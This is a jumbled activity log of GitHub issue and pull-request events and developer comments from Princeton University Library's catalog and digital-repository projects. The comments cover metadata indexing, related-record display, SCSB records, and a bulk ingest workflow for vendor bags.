by Christina Chortaria at 2022-09-07 22:32:14.review_requested
by Christina Chortaria at 2022-09-07 22:38:37.referenced
by Christina Chortaria at 2022-09-07 22:44:49.merged
by Christina Chortaria at 2022-09-07 22:44:49.closed
by Christina Chortaria at 2022-09-07 22:44:49.head_ref_deleted
by Christina Chortaria at 2022-09-07 22:44:49.closed
by Christina Chortaria at 2022-09-07 22:44:50.closed
by Christina Chortaria at 2022-09-07 22:44:50.head_ref_force_pushed
by Christina Chortaria at 2022-09-08 14:50:45.referenced
by Jane Sandberg at 2022-09-08 15:29:05.merged
by Jane Sandberg at 2022-09-08 15:29:05.closed
by Jane Sandberg at 2022-09-08 15:29:05.head_ref_deleted
by Jane Sandberg at 2022-09-08 15:29:05.Do we need an Orangelight ticket to ensure this field is displayed?
Hrm, it looks like it is indexed, see https://catalog.princeton.edu/catalog/9946018083506421/raw
"uniform_title_s":["Bible. Latin. Vulgate. 1461"]
assigned
by Max Kadel at 2022-09-08 13:34:49.closed
by Kevin Reiss at 2022-09-08 15:45:03.deployed
by None at 2022-09-08 16:51:47.referenced
by Jane Sandberg at 2022-09-08 16:57:36.merged
by Jane Sandberg at 2022-09-08 16:57:37.closed
by Jane Sandberg at 2022-09-08 16:57:37.head_ref_deleted
by Jane Sandberg at 2022-09-08 16:57:37.labeled
by Eliot Jordan at 2022-09-08 22:23:05.labeled
by Eliot Jordan at 2022-09-08 22:23:05.assigned
by Eliot Jordan at 2022-09-08 22:28:29.labeled
by Eliot Jordan at 2022-09-08 22:31:01.assigned
by James R. Griffin III at 2022-09-08 15:45:37.This report has been generated and uploaded to https://drive.google.com/file/d/11jo0qpRmA82Zvc2NAhloUKf7XNxrH-xw/view?usp=sharing
labeled
by James R. Griffin III at 2022-09-08 18:46:52.assigned
by James R. Griffin III at 2022-09-08 18:46:52.labeled
by Chun Ly at 2022-09-08 20:13:19.labeled
by Chun Ly at 2022-09-08 20:13:19.labeled
by Chun Ly at 2022-09-08 20:13:19.assigned
by Chun Ly at 2022-09-08 20:13:19.The other click-through use case I know about is the Council on Foreign Relations audio recordings, which have a click-through copyright acknowledgement.
We looked more closely at the manifest builder and it's not filtering out these bad structure nodes. The manifest includes them and the viewer just doesn't error (and doesn't show them, presumably because it couldn't find them).
referenced
by None at 2022-09-08 20:10:41.referenced
by Trey Pendragon at 2022-09-08 16:47:06.merged
by Trey Pendragon at 2022-09-08 16:47:06.closed
by Trey Pendragon at 2022-09-08 16:47:07.head_ref_deleted
by Trey Pendragon at 2022-09-08 16:47:07.closed
by None at 2022-09-08 20:23:09.head_ref_deleted
by None at 2022-09-08 20:23:14.assigned
by Shaun Ellis at 2022-09-08 21:05:30.@hackartisan You're talking about for titles? This changed a long time ago - we just never updated our fixtures. See for instance https://bibdata.princeton.edu/bibliographic/991234563506421/jsonld
head_ref_force_pushed
by Trey Pendragon at 2022-09-08 16:53:06.review_requested
by Trey Pendragon at 2022-09-08 17:12:15.head_ref_force_pushed
by Trey Pendragon at 2022-09-08 17:21:27.mentioned
by None at 2022-09-08 21:08:38.subscribed
by None at 2022-09-08 21:08:38.I'm marking this ready for review.
The wireframes proposed putting a "Bulk Ingest" button next to recordings. However, the heading for that section is "Media Reserves", adding a feature that actually made it so you can bulk ingest resources would mean adjusting the BulkIngestController to handle change sets, and just adding bag support to BulkIngest generally solves this use case.
This would mean Kelly would just hit the bulk ingest button next to "Scanned Resources" to ingest bags.
This would mean Kelly would just hit the bulk ingest button next to "Scanned Resources" to ingest bags.
It's not just Kelly, though, right? Is there anything we can do to make it a little more obvious where to go? Maybe add a new button that goes to the same form?
It's not just Kelly, though, right? Is there anything we can do to make it a little more obvious where to go? Maybe add a new button that goes to the same form?
It's not just Kelly, but the whole workflow is managed through a documentation process right now. I'm not sure a "Bulk Ingest" button next to Recording is any easier, and I think closer to what we'd need is a full rework of how accessing and interfacing with "Bulk Ingest" is done so that it's obvious that's where you want to go and what your options are when you're in there.
Maybe I'm wrong though?
On home page:
Change "Media Reserves" to say "Audio", add a new box which says "Vendor Bags" and has a button that goes to the scanned resource Bulk Ingest screen and says "Bulk Ingest". Adjust the title of the scanned resource Bulk Ingest screen to say "Bulk Ingest Scanned Resources or Vendor Bags"
Does this mean the workflow becomes:
- Create a collection
- bulk ingest the bag into that collection
Yes
- In the meantime does that form still work? i.e. it will still create a new collection for you?
Uhh. I think it won't add it to a collection if they use the AMC method. Maybe we should remove it from the home page?
ready_for_review
by Trey Pendragon at 2022-09-08 17:15:18.head_ref_force_pushed
by Trey Pendragon at 2022-09-08 17:16:23.Is there a way to do it by ID? I only ask because grabbing all the children might be expensive for really big objects.
referenced
by Eliot Jordan at 2022-09-08 22:12:16.merged
by Eliot Jordan at 2022-09-08 22:12:16.closed
by Eliot Jordan at 2022-09-08 22:12:17.head_ref_deleted
by Eliot Jordan at 2022-09-08 22:12:17.labeled
by Eliot Jordan at 2022-09-08 21:21:13.labeled
by Eliot Jordan at 2022-09-08 21:21:13.assigned
by Eliot Jordan at 2022-09-08 21:21:14.closed
by Eliot Jordan at 2022-09-08 22:12:17.assigned
by Eliot Jordan at 2022-09-08 22:15:17.labeled
by Eliot Jordan at 2022-09-08 22:15:23.labeled
by Eliot Jordan at 2022-09-08 22:15:23.labeled
by Eliot Jordan at 2022-09-08 22:23:37.@sdellis I think this is in the wrong repo.
On a different note, https://github.com/projectblacklight/blacklight/pull/2807 might be helpful here
mentioned
by Shaun Ellis at 2022-09-08 23:08:47.subscribed
by Shaun Ellis at 2022-09-08 23:08:47.Closed by PR #3177
closed
by Max Kadel at 2022-09-08 11:24:52.referenced
by Trey Pendragon at 2022-09-08 16:53:06.Coverage decreased (-0.02%) to 94.493% when pulling e16ebc9ee0af047f5780fc224fc12d9cd803b6bb on lang_jsonld into fc157dcb4d17546c5a8156de8c0168fbc2e43c34 on main.
referenced
by Christina Chortaria at 2022-09-08 12:25:58.merged
by Christina Chortaria at 2022-09-08 12:25:58.closed
by Christina Chortaria at 2022-09-08 12:25:58.head_ref_deleted
by Christina Chortaria at 2022-09-08 12:25:58.Hrm, I think maybe there are two issues
"language_code_s":[" "]
If the first weren't happening, we wouldn't have to worry about the second, but so that the Figgy work isn't blocked by a full reindex, I'm thinking I'll start with fixing the jsonld code in Orangelight, and the indexing work can be done under https://github.com/pulibrary/bibdata/issues/1986
I think you can use a new language field we introduced a while ago ''languageianas" . It is used in the html lang attribute in Orangelight. If there is no value it will not get indexed. https://github.com/pulibrary/bibdata/blob/7c3e63c479ac2f9c8a59b53cfdbe878763ecf5bf/marc_to_solr/lib/traject_config.rb#L744
assigned
by Max Kadel at 2022-09-08 11:26:52.closed
by Christina Chortaria at 2022-09-08 12:25:59.In order to display this field it needs first to be approved see https://github.com/pulibrary/bibdata/issues/1721
assigned
by Max Kadel at 2022-09-08 12:00:02.closed
by Jane Sandberg at 2022-09-08 16:57:38.From app/controllers/catalog_controller.rb
config.add_show_field 'related_record_s', label: 'Related record(s)', link_field: 'id'
...
config.add_show_field 'constituent_part_display', label: 'Constituent part(s)'
I'm still not sure what we want to be displayed on the show page. It seems like the specific type of relationship is important to represent (that these particular related records are "constituent part" related records).
From notes:
Duplicative display on host records https://github.com/pulibrary/orangelight/issues/3082 Example from the ticket: https://catalog.princeton.edu/catalog/99124945733506421 Partner records might not link properly? Possible choices Make constituent parts linkable Only display Constituent Parts, default to links, but in the rare case where the mms_id cannot be found in Solr, display only the id Similar issue with “Contained in” and “In” Suggested: Only keep “Contained in”, remove “In”. Display link when possible, when not possible, only show title. Makes sense to start with just 773 and 774. Action Item: write proposal to re-factor Related Records/Constituent Parts into the same display section with hyperlinks. Kevin R. will draft ticket.
On staging, it looks like this doesn't work on 5 SCSB records:
assigned
by Max Kadel at 2022-09-08 14:10:17.renamed
by Max Kadel at 2022-09-08 18:29:27.Coverage remained the same at 94.493% when pulling de433ad976edf5937e75cb8c401e25e0cb479321 on 3107-remove-barcode-login into a5426b1d9b3b90b4bf7b696420eef3f546da1f1e on main.
deployed
by None at 2022-09-08 15:28:25.referenced
by None at 2022-09-08 18:54:39.merged
by None at 2022-09-08 18:54:39.closed
by None at 2022-09-08 18:54:39.head_ref_deleted
by None at 2022-09-08 18:54:39.closed
by None at 2022-09-08 18:54:40.Coverage decreased (-0.001%) to 94.492% when pulling 71e68b00ed1ab7cdc6b3ab05f9bc35795968c481 on related_records into a5426b1d9b3b90b4bf7b696420eef3f546da1f1e on main.
This currently does not work for SCSB records, since they do not have their local id in the related_record_s
field; however, I am only finding 5 such records on catalog-staging (tunneled in link - http://localhost:9000/solr/catalog-staging/select?fq=related_record_s%3A*&q=id%3ASCSB*). For example:
related_record_s: [
"(OCoLC)1057895563",
"(OCoLC)1080520347 "
],
...
constituent_part_display: [
"Wadsworth, Alexander, 1806-1898. New plan of the city of Boston",
"City of Charlestown, 1866. 1 map"
]
catalog-staging with PR at this point:
in production there are 9 records. SCSB-9588344, SCSB-12563166, SCSB-5715787, SCSB-11225801, SCSB-11537300, SCSB-6740416, SCSB-12798531, SCSB-9401911, SCSB-8915880
Is there a way to create a scsb partial and render it with this field only if the document id is a scsb id?
deployed
by None at 2022-09-08 16:45:31.convert_to_draft
by Max Kadel at 2022-09-08 17:02:17.ready_for_review
by Max Kadel at 2022-09-08 19:21:06.renamed
by Kate Lynch at 2022-09-08 17:56:54.head_ref_force_pushed
by Bess Sadler at 2022-09-08 19:43:34.closed
by Bess Sadler at 2022-09-08 20:03:52.deployed
by None at 2022-09-08 19:07:01.head_ref_force_pushed
by None at 2022-09-08 19:23:44.deployed
by None at 2022-09-08 19:24:04.head_ref_force_pushed
by None at 2022-09-08 19:26:36.deployed
by None at 2022-09-08 19:26:46.head_ref_force_pushed
by None at 2022-09-08 19:31:46.deployed
by None at 2022-09-08 19:32:03.head_ref_force_pushed
by None at 2022-09-08 19:37:46.deployed
by None at 2022-09-08 19:37:53.head_ref_force_pushed
by None at 2022-09-08 19:42:21.deployed
by None at 2022-09-08 19:42:31.ready_for_review
by None at 2022-09-08 19:45:42.mentioned
by Christa Cleeton at 2022-09-08 19:17:34.subscribed
by Christa Cleeton at 2022-09-08 19:17:34.labeled
by Eliot Jordan at 2022-09-08 22:22:52.labeled
by Eliot Jordan at 2022-09-08 22:22:52.assigned
by Eliot Jordan at 2022-09-08 22:22:52.labeled
by Eliot Jordan at 2022-09-08 22:28:21.Should be in FIggy.
closed
by Eliot Jordan at 2022-09-08 18:11:51.labeled
by Eliot Jordan at 2022-09-08 22:23:15.referenced
by Eliot Jordan at 2022-09-08 22:31:48.merged
by Eliot Jordan at 2022-09-08 22:31:48.closed
by Eliot Jordan at 2022-09-08 22:31:48.head_ref_deleted
by Eliot Jordan at 2022-09-08 22:31:49.labeled
by Eliot Jordan at 2022-09-08 22:17:49.unlabeled
by Eliot Jordan at 2022-09-08 22:17:56.assigned
by Eliot Jordan at 2022-09-08 22:18:36.labeled
by Eliot Jordan at 2022-09-08 22:18:42.labeled
by Eliot Jordan at 2022-09-08 22:18:43.closed
by Eliot Jordan at 2022-09-08 22:31:49.